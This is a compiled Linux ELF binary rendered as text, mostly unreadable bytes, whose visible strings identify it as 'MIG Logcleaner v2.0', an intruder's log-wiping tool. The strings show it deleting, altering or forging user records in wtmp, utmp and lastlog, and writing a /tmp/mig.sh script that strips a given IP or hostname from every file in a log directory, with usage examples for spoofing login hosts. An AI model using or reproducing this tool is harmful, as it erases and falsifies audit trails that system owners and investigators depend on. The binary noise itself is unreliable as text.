ELF|464 (444222Tt2((( Qtd/lib/ld-linux.so.2GNU     <*p|%qv#H{OVd5 Fw9d<A'|j6*]4 ~| .0_Jv_RegisterClasses__gmon_start__libc.so.6strcpystdoutatolmemcpysystemmallocremoveoptarglseekbzerowritefprintfreadgetoptstrcmpgetpwnamsprintfstderrexitatoi_IO_stdin_used__libc_start_mainstrlenopencloseGLIBC_2.0$ii       Uc 5%%h%h%h%h%h %h(%h0%h8p%h@`%hHP%hP@%hX0%h` %hh%hp%hx%h%h%h%h%h%h1^PTRh(hQVh,US[;PtЋ]ÐU=u)tҡuÉUtt hЃvÐU)DžDžDžDžDžDžDžDžDžDžDžDžDžjEP=hP&hPhPjPjPhPhPhPhPthPhu uEE1$uuu uru t`u uNu u:u u&u uu#u E 0! j hئr hb h@Ru Dž}tjEPu,uhlh|5tGu>u5t,;EP;=uH5 P5$P5(P PPEP 0uv}t(;~ E 0N j PPPEP"0t =uH5 P5$P5(PP+PPPEPa t#PPPE h~UE} jhl{E}uDždhhPuu-h,uPjufhtE볃hluuPh|5 H u*EddUHDžj PhPhPjhlbu+}uhlh5 jUjBhu&}uhȨ5K jjjjjhP=t,uPfU E)@9u|} t-hlu uPh5 t PP\LPP@E U)‰9jP P6@P(P5( LP@P LP5 LhPP P@Pd$Lh5$} hPhP  } u9t0hluPh5 t DžjhHu+}uhHh5( jjBhVu}uhd5jjLjj7hxP=tx,uPV;|uyxRPuYxLRPu9} W hHuPh5  (} hxPhxPf p _} u9t0hHuPh5 0 hHhlhHhlhP PUXh$P| u~E}jh?jEPP=uF}t@hu$Pj uPE huPh5  h$P UhDžDžE DžE$Džj PhPhP}Gjhlu+}(uhlh5 jjBhhu&}(uhȨ5 j`jjjjhPL=t,uPsfeU E)@9hlu uPh45  PPLPPE8t/j ,P u,PUE8t2hLPuLP} t LhPnE U)‰9jPW P@P(P5(x LP@Pi LP5 9LhP PJ@P$Lh5$hPDuDRPhu$fu}$t LhP  DžDžjhHu+}(uhHh5 jjBhVJu}(uhd5jjjjhxP8=tx,uPX;|xRPxLRP hHuPh\5 x E8t/j x,P ux,PQE8t2hxLPuxLP} t ẼhxPhxP_uAxRPou!fxu}$t ẼhxP ' DžhHhlhHhlhP PUDžlDžhhhPTfDžDžfDžDfDžFDžHE$LDžPu,PZuPBu LP*fDžxDž|fDžfDžDžE(Džux,PuxPu xLPjhlttSjBhppu},uhȨ5.hxPt=tx,uPfxlU E)@9lhxPplhPpOhxPp2hluu uPh5 2 hxPphxPpE8uuhulhPphxPpn hluPhԪ5 t h tK p:hlhlhhP hP*!},uhlh5DžlDžhUhPl uu uh,P P h hz uuu Ph he hBU hNE hZ5U hئX hH hh8uh% h h hD hx hį h hH h h̰ h h u hde hUuhBuh/uhuh< uhdUWVS [ê )19sא F9r [^_UVS[f )ɍqu :[^É NuUSRt ЋuX[US[R]/var/log/u:n:D:a:b:U:T:H:I:O:RAd ****************************** * MIG Logcleaner v2.0 by no1 * ****************************** /var/log/wtmpError opening %s file to count records 7,Pts[0x%d] %d users "%s" detected in %s Error opening %s file /tmp/WTMP.TMPError opening /tmp/WTMP.TMP file [0x%d] Removed "%s" entry #%d from %s %ld[0x%d] Removed %d entries of user "%s" from %s /var/run/utmp/tmp/UTMP.TMPError opening /tmp/UTMP.TMP file [0x%d] Removed "%s" coresponding entry from %s mv /tmp/WTMP.TMP %s;mv /tmp/UTMP.TMP %s;chmod 644 %s %s/var/log/lastlog[0x%d] Changing "%s" coresponding entry in %s [0x%d] Replaced "%s" entry #%d from %s [0x%d] Replaced "%s" coresponding entry from %s [0x%d] Added user "%s" before %d entry of user "%s" in %s file [0x%d] Added user "%s" entry on top of %s file mv /tmp/WTMP.TMP %s;chmod 644 %secho "find %s -type f|grep -v wtmp|grep -v utmp|grep -v lastlog>/tmp/dirs.IP">/tmp/mig.sh;echo "if [ -s /tmp/dirs.IP ]">>/tmp/mig.sh;echo then>>/tmp/mig.sh;echo "set \`cat /tmp/dirs.IP\`">>/tmp/mig.sh;echo "for F1 in \`echo \$@\`">>/tmp/mig.sh;echo do>>/tmp/mig.sh;echo "cat \"\$F1\"|grep -v \"%s\">/tmp/F1.tmp;cat /tmp/F1.tmp>\"\$F1\"">>/tmp/mig.sh;echo done>>/tmp/mig.sh;echo fi>>/tmp/mig.sh;echo "if [ -s /tmp/dirs.IP ]">>/tmp/mig.sh;echo then>>/tmp/mig.sh;echo "set \`cat /tmp/dirs.IP\`">>/tmp/mig.sh;echo "for F2 in \`echo \$@\`">>/tmp/mig.sh;echo do>>/tmp/mig.sh;echo "cat \"\$F2\"|grep -v \"%s\">/tmp/F2.tmp;cat /tmp/F2.tmp>\"\$F2\"">>/tmp/mig.sh;echo done>>/tmp/mig.sh;echo fi>>/tmp/mig.shchmod +x /tmp/mig.sh/tmp/mig.sh[0x%d] Removed "%s" and "%s" strings out of %s direcotry /tmp/F1.tmp/tmp/F2.tmp/tmp/dirs.IP****************************** usage: %s [-u] [-n] [-d] [-a] [-b] [-R] [-A] [-U] [-T] [-H] [-I] [-O] [-d] [-u ] - username [-n ] - username record number, 0 removes all records (default: 1) [-d ] - log directory (default: /var/log/) [-a ] - string to remove out of every file in a log dir (ip?) [-b ] - string to remove out of every file in a log dir (hostname?) [-R] - replace details of specified user entry [-A] - add new entry before specified user entry (default: 1st entry in list) [-U ] - new username used in -R of -A [-T ] - new tty used in -A [-H ] - new hostname used in -R or -A [-I ] - new log in time used in -R or -A (unit time format) [-O ] - new log out time used in -R or -A (unit time format) [-d] - debug mode eg: %s -u john -n 2 -d /secret/logs/ -a 1.2.3.4 -b leet.org %s -u john -n 6 %s -d /secret/logs/ -a 1.2.3.4 %s -u john -n 2 -R -H china.gov %s -u john -n 5 -A -U jane -T tty1 -H arb.com -I 12345334 -O 12345397 $  H؃ D$ oooȄ"2BRbr†҆"2BRbrGCC: (GNU) 3.3.3 20040412 (Red Hat Linux 3.3.3-7)GCC: (GNU) 3.3.3 20040412 (Red Hat Linux 3.3.3-7)GCC: (GNU) 3.3.3 20040412 (Red Hat Linux 3.3.3-7)GCC: (GNU) 3.3.3 20040412 (Red Hat Linux 3.3.3-7)GCC: (GNU) 3.3.3 20040412 (Red Hat Linux 3.3.3-7)GCC: (GNU) 3.3.3 20040412 (Red Hat Linux 3.3.3-7).symtab.strtab.shstrtab.interp.note.ABI-tag.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.comment#(( 1HH7 ?؃GoȄ:To c $$ l DD up  p{||&& 2222233d3  4  42>5x:/ AF(H؃Ȅ$D   |    *8EIUć k wl  $(* X #|4%Fa Lq]d#w(D {   d | F/s7 = EWYlH |6=  ,,  9 <'  |06AUe*u |,4 |% 40call_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST__p.0completed.1__do_global_dtors_auxframe_dummy__CTOR_END____DTOR_END____FRAME_END____JCR_END____do_global_ctors_auxmig-logcleaner.clastlog_hostnamelastlog_timelastlog_ttyatol@@GLIBC_2.0count_records_DYNAMICwrite@@GLIBC_2.0strcmp@@GLIBC_2.0usageclose@@GLIBC_2.0_fp_hwfprintf@@GLIBC_2.0__fini_array_end__dso_handle__libc_csu_finilsystem@@GLIBC_2.0addd_initmalloc@@GLIBC_2.0txt_cleanremove@@GLIBC_2.0stdout@@GLIBC_2.0stderr@@GLIBC_2.0_startgetopt@@GLIBC_2.0lastlog_cleanreplasestrlen@@GLIBC_2.0c__fini_array_start__libc_csu_initutmp_clean__bss_startmain__libc_start_main@@GLIBC_2.0__init_array_enddata_startprintf@@GLIBC_2.0_finilseek@@GLIBC_2.0memcpy@@GLIBC_2.0__preinit_array_endopen@@GLIBC_2.0bzero@@GLIBC_2.0getpwnam@@GLIBC_2.0exit@@GLIBC_2.0atoi@@GLIBC_2.0_edata_GLOBAL_OFFSET_TABLE__end__init_array_startoptarg@@GLIBC_2.0_IO_stdin_usedsprintf@@GLIBC_2.0__data_start_Jv_RegisterClasses__preinit_array_startread@@GLIBC_2.0__gmon_start__strcpy@@GLIBC_2.0